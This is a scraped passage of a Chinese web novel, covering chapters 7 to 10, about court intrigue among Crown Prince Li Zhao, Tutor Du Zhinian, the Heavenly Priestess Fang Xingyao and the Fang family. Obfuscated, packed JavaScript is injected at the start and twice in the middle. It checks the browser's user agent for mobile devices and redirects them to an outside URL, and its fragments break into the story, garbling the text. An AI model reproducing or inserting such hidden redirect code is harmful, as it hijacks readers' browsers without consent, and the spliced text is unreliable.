;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309623|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史大夫——郭起世手下的所有官员和世家势力在朝中的交织情况过了一遍,正在思索着如何从郭起世那边下手,安排一些世家的人入东宫官署,从而获得郭起一党的支持,便听到了李昭提起司天神女。 杜之年像是从杂乱的思绪中,抓住了什么一般,缓缓念出方星曜的名字。随后就像被击中一般,倏然抬头,对上了李昭看起来含情却实际冰冷的凤眼。 “老师也想到了?”李昭嘴边扯出一丝若有若无的笑,“方星曜将祈雨大典日期定在春分那日,又将月食定在同一日,想必是打算借祈雨成功后的月食,清算太史司中方天司的势力。这也就意味着,她是已经拿准了祈雨大典当日会下雨。” 杜之年未发一言,似是在等李昭继续说下去。 李昭伸出手指在小案上敲了敲,冷冷道,“祈雨大典成时,可以天道眷顾为由,求父皇为我二人完婚。” 杜之年按住李昭在小案上敲击的手指,“如此一来,月食天象所对应的天道震怒,便不会应到太子身上,而会应到太子的后宫,也就是司天神女方星曜本人身上。” 李昭抽出被杜之年压住的手指,缓缓道,“孤为筹备大婚,会诸事繁忙。建立东宫官署和听政之事,与婚姻大事相比,自然要事急从权。” 李昭自嘲地笑了笑,“父皇年富力强,早日安稳成婚对于孤来说才是更大的事。” 杜之年看着李昭的眼里已经全是满意,那是一个太子之师对自己教导的太子学生的已经真正成长为帝王的欣慰。 李昭端起已经冷掉的茶轻抿一口,将话说完:“成婚,便不能尽快参政,合了父皇的心意,我便也不必承担月食的后果。朝中之事可先行谋划,再等待一个合适的时机。” “妙!”杜之年忍不住大笑起来,控制不住自己地开始不断击掌。他刚上车之时积攒的对方天司一肚子的怨气全数清空,他反复思索的朝中格局也瞬间在脑内清晰。 太子本就和身为司天神女的方星曜有婚约。按历代的规矩,司天神女代表天命,皇帝登基必定立司天神女为皇后,这意味着天命所归,意味着一国之君受上天庇佑。 李昭这一计,不仅进一步确立了自己的储君正统,更是将原本属于太史司的对天命的解释权握在了自己手中。这和当初乾帝借现任太史令方天司占卜出“星移龙现”的星象从而解释天命,以迎娶上一任司天神女为后确立天命所归,再由颁布新历法确立“天命正朔”完全是一脉相承。 “妙啊!”杜之年笑得停不下来,“世家大族非常注重民声,这样一来,他们的势力必定会更加倾向于太子殿下。老夫甚至都不需要太费力去游说郭起世了。” “老师不老。”李昭笑道,“正当盛年。” “你小子。”杜之年一身轻松,恨不得现在就回府里开一坛年岁最老的春酿喝个不醉不停,却又想到最后一件事,嘱咐道,“去求你母后在祈雨大典那日向陛下提你二人的婚约罢,这般最好,你母后是前一任司天神女,由她来提,陛下绝无可能拒绝。” 李昭神色游移,开口道,“老师可否去替我向母后禀告。” “不了,不行。”杜之年听得李昭这话,也不顾什么君臣之仪了,他立马跳出马车扔回一句,“你自己去。” 7. 第 7 章 翌日,皇家园林——甘霖苑。 “老夫,参见陛下。”杜立诚已是花甲之年,却丝毫不显老态。 身为两朝元老的他,自儿子杜之年升任大司农后,便向乾帝告了老,回到自己府中颐养天年。 之后,杜立诚便整日作画下棋,赏花喝酒,好不惬意。 而今日,他又被乾帝招来甘霖苑。很显然,正逢太子要加冠,乾帝找他并不是要下棋的。 “杜老,今日看起来怎的有些无精打采?”乾帝一边命人将园内那些刚开的迎春花移入一个个名贵的小盆,一边瞧着杜立诚同他打趣,“可是昨夜又饮酒了?” “陛下圣明。什么事都瞒不过陛下的眼睛。”杜立诚捋了一把自己短得一指掐都掐不住,黑白相间的胡须,笑道,“老夫壮志已酬,如今也就靠这些子小爱好留个生的念想。” 乾帝又着人将园里仅剩的,形态姣好的腊梅剪枝,亲自往一旁侍人恭敬捧着的白玉瓷瓶内插好后,拿起湿锦自己清理双手,同杜立诚笑道,“老师怎可妄言生死?你这话若让左相听得了,定是又要跑来朕这里怒斥家翁整日疯言疯语,枉费满腹经纶,不务正事。” 老头听乾帝这么一说,立刻胡子一吹,眼睛一瞪,先是“嗤”了一声,后便开始跟乾帝诉苦,“杜之年这逆子!有什么脸说老夫?三十好几了?不成婚!” 杜立诚眉毛轻轻抬了一点,方便自己扫一眼乾帝的神色,接着便摇头叹息,“别的老头到我这年纪,孙儿都已经成婚,说不定连曾孙都有了,哎——老夫……” “你这家事难管。左相乃肱骨之臣,政事繁忙,朕也管不了啊。”乾帝一听杜立诚又提杜之年的婚事,便立刻摆摆手开口打断。 这父子俩就像是商量好的一样,每次都是聊完正事就开始互相攻奸,扯着扯着就必说到杜之年的婚事,紧接着就是要自己给评评理。 杜老满口逆子,斥杜之年老不成婚。杜之年满口自己为国鞠躬尽瘁,家父为老不尊。 “陛下赎罪。”杜立诚见好就收。掏出怀中从昨夜与杜之年对饮时开的那坛十年春酿中偷藏下来的一小瓶,向乾帝晃了晃,“这可是十年前的好酒,从我逆子手下抢的,陛下试试?” “不必了,老师自饮便是。”乾帝招人给杜立诚呈上酒盏,开口道,“我儿李昭将于惊蛰加冠,老师想必已经听说了。” “太子殿下提前了三年加冠?”杜立诚也不理那酒盏,掰开瓶塞嘬了一口酒,“还请陛下解惑。” 乾帝看了一眼自己的老师,这位曾经叱咤朝堂,以己之全力扶持自己上位,却在儿子进入权力中心之时告老,紧接着便像通了灵窍一般只想着吃喝玩乐的曾经的权臣,心内苦笑了一下:“朕想请老师出山,做太子太傅。” 杜立诚闻言,摇晃酒瓶的手一顿。 昨晚杜之年还在和自己商议太子太傅的人选,为了不引起皇帝的忌惮,杜之年甚至都想到要去请已经隐世的德颖道长出山。 杜立诚是万万没有想到,乾帝在明知杜之年倾向于太子的情况下还要找自己去做这个太子太傅。 “臣……”杜立诚摸不准乾帝的态度和心思,但他也知道乾帝既然开了这个口,自己便绝对不可能拒绝,于是缓慢开口,做出犹豫不决的姿态。 “老师,”乾帝笑了笑,斟了一杯茶递给杜立诚,“有一句话,你那位逆子说得也没错。” “枉费满腹经纶,”乾帝看着杜立诚接过那盏茶放到一边,接着把话说完,“不务正事。” 看着杜立诚起身在自己面前跪下,乾帝眼中笑意更甚。 “臣,定当不辱皇命。”杜立诚叩头行礼。 “有劳太傅。”乾帝笑着起身,看向花园内端着迎春花盆栽,和腊梅插瓶安静等待的侍从,摆了摆手。 侍从们领命而出,自发地便往武贵妃的寝殿送去。 武贵妃的宫殿刚刚经历了第三次修缮,在之前的基础上又往外整整扩充了将近一倍的面积,这次扩建修葺不仅增加了河塘作为风水的增益,甚至还新扩大了跑马场和演武场。 四皇子李念刚刚纵马跑了一圈,碰上乾帝捧着花的侍者便领着他们到了母亲殿中。 武贵妃正在冲人发脾气,李念一只脚还没踏进殿内,就被迎面飞来的一个书架差点砸到。 李念一个闪身,抓住书架就往一旁拖去,以免这大架子把身后跟着的侍者砸到。 “母亲……”李念把书架放好扶稳,“是谁惹你生气了?” “谁?”武闻笛气没处撒,便又抓起面前的竹简一把朝李念扔去,“还有谁?还能有谁?” 武闻笛这么一说,李念一下子便明白娘气的是自己的父皇。于是他不再去接他娘扔的竹简,只左躲右躲,任由那些竹简噼噼啪啪砸在地上。 “不爱看便不看了。”李念按住一个砸在他胸口的竹简,抓住往头顶一抛,让这竹简落地时发出比其他竹简更大的声音。 “这又是什么?”武闻笛气冲冲走到侍从旁看了一眼,“花?把我的剑全收了,换成书。现在再送些矫揉造作的花来补偿我?” 武闻笛抓住面前插着腊梅的白玉花瓶就又要往地上砸。 侍从端着花瓶的手一歪,顺势快闪到一边立刻跪下,显然是早有准备。“贵妃娘娘,这可是陛下亲手剪下,为你插的。” 武闻笛闻言,去抓花瓶的手顿了顿,神色一下缓和了不少,她又朝后面的几盆迎春花看了一眼,轻嗤一声吩咐道,“这些迎春开得倒是不错,就摆正殿。至于腊梅,就送去寝殿吧。” “母亲——”李念见母亲消气,嘻嘻哈哈就迎上来要上手抱自己的娘,结果却被不领情的武贵妃冷漠地一把推开。 “十六了。”武闻笛鄙夷地看着自己儿子,“瞧你这纨绔样儿。” “十六怎么了?”李念不见兔子不撒鹰,一歪头靠上母亲的肩膀,“我永远都是我娘亲最好的儿子。” “嗤。小兔崽子。”武闻笛终于露出笑容,这一笑竟是让殿内多了一抹明亮的春色,她揉揉李念的脑袋,“走,跟我去正厅,你祖父来了。” “好勒。”李念挽住武闻笛的手臂,歪头道,“祖父又来检查我的武功吗?我练的可好了,定叫祖父赞不绝口。” 武闻笛闻言“噗嗤”一下笑出声,侧过脸好整以暇的看着李念道,“你祖父是来给你议婚事。” “什么?”李念闻言脚步一顿,松开挽住武闻笛的手就要开溜。 武闻笛一把揪住李念的后领,拖着他就去了前厅,对于李念不断叫唤的,“娘,我才十六。娘我还小。”充耳不闻。 李念是像个小鸡仔一般被拧到正殿的。 正殿中,方思柔已经不耐到开始在心里给这宫殿看风水了。她端庄地坐在方天司和左相的一旁,对二人的交谈充耳不闻,反而悄悄拿目光在殿内四处打量。 窗太大,用的窗棂还这么粗,这得多费力才能推动?殿内太大太空旷,从主座到殿门要走近上百步,都不符合堪舆。这皇帝宠妃的宫殿,看着像个武将的府邸,怪哉怪哉。 方思柔对自己看风水的本事很满意,点点头; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只要四皇子和方思柔的婚约可以定下,那么接下来不论方星曜怎么折腾,对于方家和自己来说,都构不成大的威胁,方家和自己都会立于不败之地。 太子能够成功加冠又怎么样?祈雨大典后雨下不下又怎么样?月食有还是没有,报还是不报,都不重要了。 方天司看了眼一旁的武道成,只见他正一脸慈祥地看看武闻笛,又看看李念。 武闻笛是武道成的独女,李念又是武闻笛的独子。 武道成是个难啃的硬骨头,但这骨头再硬,却对自己唯一的女儿和唯一的外孙极为疼爱,李念就是方天司侵蚀他,让方家勾连他血肉的那唯一一条骨缝。 即便方星曜算无遗策,再怎么筹谋。只要四皇子和方思柔的婚约能定下,方家对于皇帝来说就变成了手心手背都是肉,而自己作为方家家主和当朝太史令,就成为皇帝永远不能动的那张牌。 皇帝要太子继承大统,方星曜是方家人。 皇帝要四皇子继承大统,方思柔是方家人。 皇帝若要废太子,四皇子就要顶上。太史司再编造一个祥瑞天象,将方思柔推上司天神女之位,以二人的婚约,立四皇子的天命正朔,就和皇帝当初登基一样。这天禄国皇帝的后位,永远都会,也只能是方家的。 至于方星曜…… 她和太子有过婚约,可以被弃而不用,也可以找个由头废掉。 她想推动历法改革?皇帝本就不可能同意。 她想要借祈雨大典立功,插手太史司更多权力?可这祈雨的功过,最终却又只会是自己说了算。 方天司看向一旁正和武道成撒娇说这儿媳妇自己很满意的武闻笛,对自己的这一步棋,满意无比。方星曜,你的路,也快走到头了。 8. 第 8 章 东宫 东宫太子书房 “臣认为东宫官署的预选名单可以直接呈报陛下了。”杜之年脑袋还在隐隐发胀,昨晚宿醉,今日本来是想睡到午时,谁知半途就被自己的爹揪起来告知:皇帝定了自己爹做太傅。 虽说太子之前未及冠,不听政,但杜之年作为太子老师,在所有人眼中必定是会更倾向于太子继位的太子一党,而如今皇帝令自己的父亲做太子太傅,此举相当于是将杜氏,也是将朝中与杜立诚、杜之年关系紧密的文官势力与太子绑定在了一起。 对于皇帝这个安排,之前没有人想到,现在也没有人能参透其用意。 圣心难测,父子二人一合计,一致认为可以先行递交东宫官署的提奏,再进一步看皇帝的态度。 李昭得到杜立诚被定为太傅的消息倒是没太大的反应,只是起身回到案边重写了一份官署提报。 新拟的官署提报里,李昭将之前预备的二十余人全数删去,只留下了几个核心职位。 李昭走到杜之年处,将一旁燃的香熄掉才将提报递给他,“孤取掉了一些高层官位,只保留了核心的官位。” “不如先全部呈报上去,由陛下定夺官位呢?”杜之年接过,看着只剩五个名字的提报,思忖道,“也许可以多定几个中层官位。” “如今最重要的事便是要稳住父皇。”李昭取回提报后在自己的鼻尖轻轻扇了扇道,“要让父皇认为我不是急于参政。父皇需要认定我提前加冠仅仅是为了代他主持祈雨大典,而不是有自己的私心。” 李昭重新取出一份新的奏本,拿到面前闻了闻,确认没有味道才提笔重新誊抄,“所以呈报的官署人员越少越好,按照需要出席祈雨大典的官署来提报就行。” “既然你已经想好要延后听政,这般也可。”杜之年道。 李昭闻言,提笔的手顿了顿,他看向杜之年开口道,“昨日我去见了母后。” 杜之年脑子停转了一会儿才缓缓问道,“皇后娘娘如何?” “母后没有见我。”李昭在奏本上重新落笔,“只说婚约之事她会在祈雨大典后提,但我的冠礼她没有时间去。” “哎——”杜之年叹了口气却没有接话。 “母后一向疼爱方星曜,”李昭继续道,“她是不是对我更失望了?” “皇后娘娘素来不理世事,只一心专注修道。”杜之年思索了好一会儿,才小心翼翼问道,“她也会关注祈雨大典和月食之事吗?” “若母后不关注这些,便不会把姜道长安排进内宫,负责内廷观星。”李昭的手有些颤抖,感觉自己就快要握不住笔了,“她也许知道我想借祈雨大典后完婚一事,将当日的月食之祸推到方星曜的身上。” “殿下,你不是说过,神女求雨有极大可能会成功吗?”顾明在一旁疑惑地开口。 “大抵是能成功的。”李昭同顾明解释道,“如果祈雨不成,她身为神女需要在祭台跪到雨下为止。若雨一直不下,她跪满七日后,还要再经历一次游街被上天和百姓问罪。” 李昭看向顾明,“她既然把祈雨大典和月食安排在同一天,那么意味着,这一个月内,也许只有祈雨大典那天会下雨。” “但是,”顾明更加疑惑地挠挠头,“下雨天看不到月亮的啊?” 李昭被顾明这一句弄得怔愣住,半晌没有说话。 杜之年听到这句话,脑中“嗡”了一下,感觉自己的宿醉好像一下子更严重了,“啊?哈哈。是啊?这雨下了就看不到月食了啊?” 杜之年拍拍自己的脑袋,“老夫怎么没想到呢?” 李昭也完全忽略了这个有雨无月的常识,差点被自己给蠢笑。 李昭从案边起身在殿内踱了几圈,想了又想。 祈雨大典当日有雨,夜间又有月食,如果雨下了,月食便不可能被看见,那么这月食根本无足轻重。 自己之前一直陷入在姜道长对于月食日期的预测中,只看到了月食的严重后果。 那么如今,这与方星曜的婚约还要提吗?东宫官署的名单到底要上报多少官员呢? 如果看不见月食,那么皇帝就没有机会对自己问罪,祈雨成功是大功,自己完全可以藉此机会顺利参政。 “不能冒险。”李昭轻声道,“婚约的事照旧。” 李昭回到案边,继续写官署奏折,同时难得的给顾明解释了一句,“怕的是雨停了,月亮出现,之后再现月食。” “殿下思虑周全,实在是……”顾明挠挠头,脑子转了好几转都想不出好的诗句来夸李昭,“天人之资……” “览照幽微,才不世出,禀聪叡之绝性,体明达之殊风。”杜之年给了顾明一个看文盲的眼神,在一旁为他补道。 李昭因为母后不出席自己冠礼的沉郁,竟是因着这二人的一唱一和,松下许多,他笑着看向顾明正欲敦促他多念书便听“嘭——”的一声,书房的门被人猛地推开,赶来的侍从畏畏缩缩跟在李念身后,想劝不敢劝的样子。 “太子哥哥。”李念在皇宫四处都无人敢拦,他大摇大摆,进太子书房如入无人之境,“瞧瞧这家伙。” 李昭剑眉微挑,看向李念,就见他一把将站在门边不肯进屋内的高大黑衣男子一把推进殿内,“怎么样?” 李昭被李念突然闯入殿内也不恼,只看着他笑了笑莫名道,“俊朗非凡?” “诶?”李念疑惑地仔细将廿九上下端详了一番,“容貌尚可。” “但远不及太子哥哥。”李念歪头一笑,立刻又道。 “今天来是为了何事?”李昭道,“给我展示你的下属?” “不是。”李念自己寻了个位子好整以暇坐下,随即指了指紧挨着自己站得笔直的廿九道,“把他给你做卫率,统领东宫卫队,负责你东宫的安全。” “这不妥吧,四皇子。”顾明闻言立刻开口。 “什么时候轮到你代太子哥哥说话了?”李念对顾明一向不满意,嗤道,“父皇已经同意了。” 廿九见顾明顶撞自家主子,一个眼刀甩过去,却不想刚好发现李念正好整以暇的看自己。 廿九瞬间感觉呼吸一窒,面上流露出视死如归的表情。 果不其然,李念下一秒便开口道,“阿廿,去,给太子哥哥展示一下你的武艺。” “是,殿下。”廿九深吸一口气正欲上前,却被李昭笑着制止。 “不必。四弟推举来的人自是好的。”李昭给顾明递去一个眼神,“先带廿统领去安顿下来,待名单确认下来再一同上奏给父皇。” “好嘞。”李念目的达成,心满意足。开始在李昭的殿内东瞧瞧,西看看,摸完李昭新画的万里河山图,又瞅准了李昭桌上摆着的丑老虎,“这个还留着啊?” 李昭赶在李念的手碰到小老虎之前,一把抓起将它扔去远处的书格中卡住。 “太子哥哥怎的如此小气。”李念一旋身跃到书架旁,却只是靠着书架没再伸手去掏那只老虎,嗔怪道,“这么一个小玩意,碰都不让碰。” 李昭起身走到一旁的摆件柜,取了一个小盒子出来递给李念,“听说父皇把贵妃娘娘殿里的剑全收走了。” “嗯,母妃发了好大的脾气。”李念接过盒子打开一看,立刻两眼放光地拿出来把玩。“这是九连发的弩!” “你的了。”李昭道,“任你处置。” “母妃会很喜欢的!”李念拿着九连弩翻来覆去的看,爱不释手。 “去玩吧。”李昭回身看了一眼安静坐在那里喝茶醒酒的左相,开始下逐客令。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309625|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这个,我也想要。”李念指着李昭那副万里河山图,一边讨要东西一边夸赞,“太子哥哥的画功又精进了,说是我朝第一都不为过,瞧这落笔,苍劲有力,瞧这……” “好了,好了,拿去罢。”李昭揉了揉额头,制止李念即将到来的灌水长篇大论。 “好嘞,那太子哥哥你忙,我就不叨扰了。”李念麻利地将画一卷,像火烧屁股一样蹿出殿外。 “四皇子真是……”杜之年放下一直端着茶摇摇头,问出他憋了很久很久的疑问,“他到底是藏拙,还是真单纯?” “不重要。”李昭的目光巡着李念离去的背影看向天空中高悬的刺目春阳,“只要父皇瞩意他,他就可以是站在储君位置上的那个人。” “啪啦——”方星曜将紧闭的窗户打开,让阳光透进屋内。“母亲,平日里还是要多晒晒太阳。这窗户总紧紧关着,气不流通。” “好。”苏青莲伸出干瘦苍白的手臂拨开床幔,“娘想坐一会儿。” “我来扶你。”方星曜快步走回苏青莲床边,一手塞入她的腰后,一手托住她的胳膊,将她缓缓带起。 “咳咳——”苏青莲往床边挪动了一点,将手臂伸出手掌摊开,让被方星曜放入屋内的阳光落在自己的掌心上,问道,“是春天了?” “嗯,过不了几日就是惊蛰了。”方星曜伸手在苏青莲后背上下抚动帮她顺气。 “辰旭的生辰……”苏青莲思索了一会儿,“可是已经过了?” “是今日,母亲。”方星曜柔声答道,“三月五日。” 苏青莲叹了口气问道,“是真正的生辰吗?” “新历如今比旧历慢了四天,今日是辰旭正确的生辰。”方星曜也随之叹了口气,“我们悄悄的给他过。”。 “简单吃顿饭吧。”苏青莲望向方星曜,“你身为司天神女,若是被人发现不遵循新历,偷偷给家人过生辰,不知会造成多大的动荡。” “好,母亲。”方星曜应道,“你一定要好好将养身子,”方星曜顿了顿,“等我祈雨大典后向陛下提改历,只要这次能成功,辰旭一定很快就能光明正大过正确的生辰。” “曜儿,”苏青莲握住掌心,又轻轻放在方星曜的手背上,像是想要将阳光收住再递给方星曜,“改历一事何其艰难,你父亲努力了九年都没有完成,你不要把自己逼得太狠。” “咳咳——”苏青莲攒住那口气继续道,“对于辰旭而言,那不过是个生辰罢了。我知你心里所思、所想、所求,也知你有多苦、有多难。但母亲只求你们好好活着,这才是最重要的。” “是啊母亲,活着最重要。”方星曜哽咽着扭过头,好教母亲看不见自己的难过,她将目光移向窗外,抬起眉头试图阻止不断掉落的眼泪。 乾历十八年三月九日,惊蛰。 乾帝为太子加冠,任命杜立诚为太子太傅,左相杜之年兼任太子少傅。 司天神女方星曜代天为太子赐福,确立天命正朔。 烈阳高悬,冬日之寒却未尽,大典祭台上的道师反复吟诵着听不懂的古老祝词,初檀香廖廖盘旋,白烛扑闪。 方星曜将象征天命的玉圭置于李昭上方,为及冠的储君颂念赐福。 年仅十八岁的李昭抬头看向玉圭,可他看见的却不是天命的眷顾,而是悬于皇权之上的永恒枷锁。 而眼前这位,日后将成为自己太子妃,甚至皇后的女子,则会是自己一辈子都要博弈制衡的神权势力。 这一切,是作为太子的李昭,最想毁掉的神权牢笼。 而站在李昭面前的方星曜,虽是仰头,看向他的目光却是冰冷。 她凝视着这位冷然浅笑的男子,像看着一个固执、腐朽、却又顽强的另一尊皇权雕像。 9. 第 9 章 太子的冠礼若完全按礼制操办,耗费巨大,流程冗长,却在李昭的坚持下改为一切从简,银子也少花了许多。 对此,大司农钱攸良大人欣喜无比,熬夜写了折子递与乾帝,赞皇帝德惠及于后代,赞太子温良恭俭让,开一代之俭风,诚社稷之大幸。 原本需要一整天的冠礼,到午时便走完了全部流程,方星曜回到方府别院,如往常一般想要先去看望母亲。 然而当她推开母亲的房门,母亲却不在榻上,荷花也不在。 房间内,东、西、南三个方向的窗户全部被撑开到最大,屋内却仍然能闻到极为浓重的苦药味。 方星曜心中不知为何莫名地颤了一下,急走几步找到院中。 “夫人呢?”院里只有一个在一旁清理药渣的侍女。这侍女不是母亲房里的人,是太子来那日,前来送药传话的陌生侍女。 “回小姐。”侍女匆忙放下手中被碾碎的药渣,起身行礼,“夫人说想出去转转,看一下小少爷。” “嗯。”方星曜得到答案,却没有立刻去寻母亲,而是看着侍女手中的药渣问道,“你是何时来母亲院中伺候的?为何之前从未见过你?” “求神女赎罪。”侍女猛地跪下,对着方星曜磕了三个响头。 母亲不在屋中极为反常,这侍女的行为又太异样。方星曜心口处“咯噔”一下,柳眉倏地紧紧皱起,连手指也不由自主地蜷缩进掌心。 跪着的兰兮调整好自己的面部表情,抬头前用已沾好沙土的手指快速抹了一下自己的眼瞳,扬起自己看起来应该很可怜了的脸蛋道,“小女真名二丫,是城西口十八巷,风水先生的孙女。九年前,我爷爷因得罪贵人要被下狱,我也要被卖去青楼,是方大人救了我们。” 兰兮红着眼睛,带着潸然落下的泪,“我的爷爷上月得以寿终正寝。爷爷临终嘱咐我天道好还,我一定要替他报答方谨琮大人的救命之恩。” 方星曜猛然听到父亲的名讳,倏地僵住。 前任太史令大人方谨琮自乾帝登基,方天司被提拔为新任太史令后,方谨琮这个名字,就像是被时间遗忘了一般。父亲死后,方天司继任方家家主,方谨琮这三个字,就成了所有人的讳莫如深。 九年了,再次从别人的口中听到父亲的名字,方星曜竟是觉得遥远,而这遥远之中又布满细密的,针扎般的疼痛。 “我是自己把自己卖进方府的。”兰兮,不,或者说是二丫继续诉道,“可先前都只能在外院做杂役,好容易才找到替太子殿下通传的差事,才找到夫人的院子。” 二丫抽泣了一声,“我今日也是偷偷来的,就想着能为夫人小姐做一点小事。”二丫说完紧接着又磕了三个响头,“求小姐允我来院中照看夫人,报答方谨琮大人的恩德。” “你先起来,莫要再磕头了。”方星曜上前扶起兰兮,关心道,“地上凉。” 兰兮又磕了一个头,才起身问道,“小姐这是答应奴婢了?” “嗯。”方星曜轻轻点头,“今后你就留在院中伺候吧。” “多谢小姐。”兰兮的任务顺利完成,赶紧讨好方星曜,“小少爷许是在小姐书房,我见着夫人往那边去了。” 方星曜的书房说起来是书房,实际上是带着三个屋子的小院,位于方府的最南方位,从前是方谨琮用来处理政务的侧院。 院子里有各式观天仪,漏刻等,屋内则全是方谨琮收集或著写的书籍。 从前,方家所有的藏书都统一放在藏书阁,方家所有的人和在方家学堂学习的弟子都可以自由进出。 可自从方天司继承家主之位后便令人将藏书阁封了起来,不再允许外人进入。而自方谨琮死后,方家便再也没有开过教授天文,术数和堪舆的学堂。 在天禄国,不说私自学习天文和堪舆是犯国法的,民间即便有人想学也是无从学起。 方家是世家大族,族中掌握着几乎所有关于天文、术数、堪舆的典籍,朝廷这方面的人才也全部由方家培养,推举,入朝为官。 方家培养的学子,都是朝廷的实学人才,他们大部分就职于太史司,另一部分则散落供职于左相府,右相府以及御史府中。 九年了,上一代的方家学子最小的也已是而立之年,而方家的实学传承如今已然断层。 曾经的方家,四处可见捧着书籍边走边观天的,席地而坐摇头卜算的,拿着竹竿翻土育种的,叮叮咣咣摆弄小物件的…… 如今的方家,人丁稀少,守卫森严,所有人都沉默着来去。 荷花守在院外,远远便见到方星曜带着个陌生侍女前来,这侍女看起来约莫二十的年纪,个子略高,手臂修长,腰很纤细却感觉劲韧有力。 “母亲进去多久了?”方星曜在院门处停下。 荷花开心地迎上来,“不过一炷香的时间,夫人今日精神很好,她说想和小公子说说话。” “好。”方星曜顿了一会儿交代道,“你带二丫去内府,将她的卖身契取出,今后她便跟着你。” 荷花狐疑地看了一眼二丫,却还是恭顺领命,“是,小姐。” 方星曜走入房内时一惊。 苏青莲穿着极为端庄正式的红色绣袍,正站在三人高的梯子上整理壁柜中的书籍,她精心梳理过的发髻上簪着一只朱雀样式的发簪,而簪子的流苏此时正随着她扬起的手臂在左右晃动。 方星曜不敢出声,怕自己吓到苏青莲出什么意外。苏青莲却正好低头,看到了站在门边的方星曜。 “曜儿,你来了。”苏青莲弯腰慢慢往梯子下走,方星曜急急几步走过去搀扶。“母亲,怎的收拾起这些了,交给女儿来便好。” 苏青莲听得方星曜这么说,竟是轻笑出声,“娘知道你平日事忙,旭儿也是个不教人省心的,如今娘感觉好多了,有些气力,也想照顾照顾你二人。” “娘觉得好些了,就更要好好歇着,把病彻底养好。”方星曜扶着苏青莲在一旁坐下,“辰旭不在这屋么?” “在。”苏青莲望向一边,“那个书架后面呢。” “旭儿?姐姐回来了。”苏青莲唤了好几声,书架后却没有任何回应,只隐约传来微小地,叮叮咣咣的声音。 “母亲,累吗?要不我陪你去花园转一转?”方星曜转而问道。 方星曜和苏青莲对于方辰旭不应声的反应毫不意外,他幼时开口说话极晚,有些聪慧的官家孩子两岁便开口背诗,而方辰旭到了五岁才开口说出第一个字。 方辰旭如今八岁,虽偶尔能说些完整的句子,平日里却不爱理人。他除了睡觉的时候,其他时间大都在方星曜的书房里看书,拆掉手边一切能拆的小玩意,或者做一些小的手制品,旁人也看不出他做的是什么,但方星曜从不制止,侍者也就都由他去了。 方星曜也尝试过带他去街坊上走动,但方辰旭见到生人就跑,后来一度变成一要带他出门,他便摔东西。 后来方星曜也不再逼他,只偶尔带他去观星台看看星星,给他讲星象,可即便方辰旭会听,却也仍然不愿开口说话。 “曜儿,”苏青莲伸手托住方星曜的侧脸,将她看向书架的目光拉回来,“旭儿只是和其他孩子不一样。” “他有自己的想法,也会有自己的活法。 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“李昭如今与幼时很不同。”方星曜又恢复了往日平和的模样,“我看不透他。” “无妨。”苏青莲笑了起来,“我的曜儿自是要许配给你最心仪的男子,而不是受所谓的天命摆布。” 方星曜闻言一惊,猛地扭头往窗外望去。 苏青莲却没有在意方星曜的过激的反应,而是从怀中取出一个看起来颇有年份的帛书。 方星曜见到这金黄色的帛书大惊,“母亲,这是?” “是你爷爷当年为你姑姑求的圣旨。”苏青莲将圣旨交给方星曜,“当年你爷爷上奏先帝,废除司天神女与皇家继承人结婚的旧制,先帝是应允了的。这是诏书。” 方星曜这下不仅仅是惊吓,更是疑惑无比,“那为何姑姑还是嫁给了陛下?” “是她的选择。”苏青莲似是有些累了,她的眼神涣散,却又努力地聚焦在一个很缥缈的地方,“只要我的曜儿不想成为太子妃或皇后,就可以不做。” 苏青莲将帛书放入方星曜手中,“我的曜儿可以自己选择,可以决定自己的命运。” “母亲,嫁给父亲你后悔过吗?”方星曜从未想过以后,更没有想过自己的婚约,在她的眼中,从来便只有历法改革一件事,如今母亲提起婚约,才让她想起,如今太子加冠,也许真的如母亲说的,成婚可能很快会是眼前事了。 皇帝对太子的态度一直暧昧不清,看上去像是有扶四皇子上位的意思。之前在向皇帝献策祈雨大典和月食日期的时候,能够很明显感觉到,皇帝并不希望太子的功绩过于突出。而让太子代为主持祈雨大典,也应当是让太子承担风险,多于给他能够彰显储君德行的功绩。 这么多年来,朝中盛赞乾帝后宫和睦,对待皇后尊崇有加,对待贵妃也未失偏颇。可方家人却都知道,帝后早已离心多年,虽然方星曜不知当年为何姑姑会在得了诏书的情况下,仍旧选择嫁给皇帝,却很显然,这选择并非出自爱意。 “不后悔。怎么可能会后悔呢?”苏青莲苍白倦怠,带着病容的脸上,竟是显露出一抹少女的娇羞,“任哪位女子嫁给你父亲都不可能会后悔的。” “嗯。”方星曜不知为何,竟是被苏青莲的小女儿情态感染,也害羞地将头埋进了母亲怀中。 “膳”方辰旭不知何时从书架后走了出来,顶着面无表情的一张小脸,对着二人郑重地宣布了一个字。 “噗嗤——”方星曜和苏青莲齐齐被逗笑。 苏青莲抬手揉了揉方辰旭的小脑袋,温柔道,“好,我们去用膳。” 10. 第 10 章 “啪——”,方天司将手中的饭碗重重砸在膳桌上,大声冲方思柔吼道,“学什么堪舆?” “方家的堪舆之术,传男不传女。”方天司紧紧抿住薄唇,一双鹰眼半眯半瞪。 原本守在一旁伺候用膳的下人见势都急忙欠身退出膳厅…… 